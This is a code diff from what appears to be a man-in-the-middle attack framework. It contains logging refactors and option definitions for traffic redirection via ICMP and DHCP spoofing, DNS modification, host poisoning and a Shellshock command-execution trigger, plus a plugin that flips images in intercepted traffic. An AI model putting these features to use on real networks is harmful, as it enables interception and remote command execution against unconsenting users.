group.add_argument('--icmp', dest='icmp', action='store_true', default=False, help='Redirect traffic using ICMP redirects')
|
||||||
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
group.add_argument('--dhcp', dest='dhcp', action='store_true', default=False, help='Redirect traffic using DHCP offers')
|
||||||
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Modify intercepted DNS queries')
|
options.add_argument('--dns', dest='dns', action='store_true', default=False, help='Proxy/Modify DNS queries')
|
||||||
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
options.add_argument('--shellshock', type=str, metavar='PAYLOAD', dest='shellshock', default=None, help='Trigger the Shellshock vuln when spoofing DHCP, and execute specified command')
|
||||||
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
options.add_argument('--gateway', dest='gateway', help='Specify the gateway IP')
|
||||||
options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]')
|
options.add_argument('--target', dest='target', default=None, help='Specify a host to poison [default: subnet]')
|
||||||
|
@ -126,9 +122,6 @@ class Spoof(Plugin):
|
||||||
for protocol in self.protocolInstances:
|
for protocol in self.protocolInstances:
|
||||||
protocol.stop()
|
protocol.stop()
|
||||||
|
|
||||||
if _DNS.checkInstance() is True:
|
|
||||||
_DNS.getInstance().stop()
|
|
||||||
|
|
||||||
if not self.manualiptables:
|
if not self.manualiptables:
|
||||||
SystemConfig.iptables.Flush()
|
SystemConfig.iptables.Flush()
|
||||||
|
|
||||||
|
|
|
@ -23,6 +23,7 @@ from cStringIO import StringIO
|
||||||
from plugins.plugin import Plugin
|
from plugins.plugin import Plugin
|
||||||
from PIL import Image
|
from PIL import Image
|
||||||
|
|
||||||
|
mitmf_logger = logging.getLogger('mitmf')
|
||||||
|
|
||||||
class Upsidedownternet(Plugin):
|
class Upsidedownternet(Plugin):
|
||||||
name = "Upsidedownternet"
|
name = "Upsidedownternet"
|
||||||
|
@ -65,7 +66,7 @@ class Upsidedownternet(Plugin):
|
||||||
im.save(output, format=image_type)
|
im.save(output, format=image_type)
|
||||||
data = output.getvalue()
|
data = output.getvalue()
|
||||||
output.close()
|
output.close()
|
||||||
logging.info("%s Flipped image" % request.client.getClientIP())
|
mitmf_logger.info("%s Flipped image" % request.client.getClientIP())
|
||||||
except Exception as e:
|
except Exception as e:
|
||||||
logging.info("%s Error: %s" % (request.client.getClientIP(), e))
|
mitmf_logger.info("%s Error: %s" % (request.client.getClientIP(), e))
|
||||||
return {'request': request, 'data': data}
|
return {'request': request, 'data': data}
|
||||||
|
|
|
@ -6,7 +6,6 @@ dnspython
|
||||||
user-agents
|
user-agents
|
||||||
configobj
|
configobj
|
||||||
pyyaml
|
pyyaml
|
||||||
NetfilterQueue >= 0.6
|
|
||||||
ua-parser
|
ua-parser
|
||||||
Pillow
|
Pillow
|
||||||
pefile
|
pefile
|
||||||
|
|
Loading…
Add table
Add a link
Reference in a new issue